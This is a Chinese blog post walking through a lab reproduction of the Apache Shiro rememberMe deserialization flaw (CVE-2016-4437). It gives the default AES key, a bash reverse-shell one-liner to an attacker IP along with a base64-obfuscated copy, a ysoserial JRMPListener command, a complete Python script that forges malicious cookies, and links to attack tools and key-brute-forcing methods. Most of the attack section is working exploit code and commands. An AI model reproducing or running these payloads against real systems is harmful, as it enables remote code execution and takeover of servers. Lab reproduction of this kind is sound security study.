• shiro反序列化漏洞复现(CVE-2016-4437)


    shiro反序列化漏洞复现(CVE-2016-4437)

    1.漏洞简介

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

    漏洞原理:

    在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞

    影响版本:

    Apache Shiro <=1.2.4

    特征判断:

    返回包中含有rememberMe=deleteMe字段

    2.漏洞环境搭建

    Ubuntu虚拟机 ip: 192.168.241.129

    vulhub 进入/vulhub-master/shiro/CVE-2016-4437

    使用命令:

    docker-compose up -d   #启动
    docker-compose ps      #查看运行状态
    docker-compose down	   #关闭镜像(每次用完后关闭)
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    访问:ip+8080

    192.168.241.129:8080
    
    • 1

    在这里插入图片描述

    3.工具介绍

    1.ysoserial

    ysoserial集合了各种java反序列化payload;

    下载地址:

    https://github.com/frohoff/ysoserial
    
    • 1

    打包完的ysoserial在ysoserial/target文件中

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -D skipTests 	//需要安装maven才能使用mvn命令
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    2.shiro_tool.jar
    这个工具是一个集成化工具

    下载地址:

    https://toolaffix.oss-cn-beijing.aliyuncs.com/shiro_tool.jar
    
    • 1

    使用方法为在此文件目录下面cmd,使用shiro_tool.jar工具检测Shiro是否存在默认的key,

    java -jar shiro_tool.jar http://192.168.241.129:8080
    
    • 1

    在这里插入图片描述

    获取到key:

    kPH+bIxk5D2deZiIxcaaaA==
    
    • 1

    4.漏洞利用

    使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示Set-Cookie: rememberMe=deleteMe,说明存在shiro框架,可能存在漏洞

    在这里插入图片描述

    1.通过ysoserial中JRMP监听模块,监听4444端口并执行反弹shell命令

    反弹shell命令:

    bash -i >& /dev/tcp/192.168.241.128/4444 0>&1		//需要base64编码
    
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3

    在VPS中执行

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}'
    
    • 1

    在这里插入图片描述

    2.利用检测出的AES密钥,生成payload

    使用命令:

    python shiro.py 192.168.241.129:6666		//python2运行
    
    • 1

    shiro.py内容如下

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])
        print ("rememberMe={0}".format(payload.decode()))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    在这里插入图片描述

    开启nc监听

    nc -lnvp 4444
    
    • 1

    在burp,cookie中插入payload
    在这里插入图片描述

    不知为何,没有反弹shell

    5.利用工具

    https://github.com/j1anFen/shiro_attack
    
    • 1

    1.点击爆破秘钥

    在这里插入图片描述

    2.爆破利用链及回显

    在这里插入图片描述

    3.命令执行

    在这里插入图片描述

    可以看到已经可以用ls命令

    6.补充

    Shiro key的获取方式

    1.结合Dnslog与URLDNS

    在进行漏洞探测的时候,一般会使用ysoserial-URLDNS-gadget结合dnslog进检测,其受JDK版本和相关的安全策略影响, 除非存在网络限制DNS不能出网

    通过判断dnslog是否收到对应的请求,判断漏洞是否存在。这是获取key比较实用方法,通过在dnslog域名前加对应key的randomNum,结合对应的dnslog记录,即可获取到应用对应的Shiro key了

    2.利用时间延迟或报错

    结合Dnslog与URLDNS方法有一个前提是DNS能出网。那么在不出网的情况下就需要找一个替代的方案了。结合SQL盲注的思路,可以考虑执行如下代码结合时间延迟进行判断,若系统是linux系统,则睡眠10s

    try{   if(!(System.getProperty("os.name").toLowerCase().contains("win"))){     Thread.currentThread().sleep(10000L);     }   } catch(Exception e){}
    
    • 1

    3.结合CookieRememberMeManaer

    4.利用JRMP协议

    5.依赖shiro自身进行key检测

    更详细内容参考

    https://baijiahao.baidu.com/s?id=1714607683576232740&wfr=spider&for=pc
    https://www.cnblogs.com/R0ser1/p/15877604.html
    
    • 1
    • 2
  • 相关阅读:
    java学习笔记-初级
    el-select应用虚拟列表,避免过多数据导致浏览器卡死
    网络授时服务器(NTP授时系统)售后与安装步骤
    docker:Untar exit status 1 archive/tar: invalid tar header 错误解决
    java IO流面试总结
    java计算机毕业设计好物网站MyBatis+系统+LW文档+源码+调试部署
    Django的查询所有,根据用户名查询,增加用户操作
    齐岳:FITC/Rhodamine/Cy7荧光标记半乳糖Galactose/松醇D-Pinitol/甘露糖Mannos
    亚马逊鲲鹏测评系统:全自动注册下单及留评
    DTD和XSD的区别
  • 原文地址:https://blog.csdn.net/m0_67391518/article/details/126496280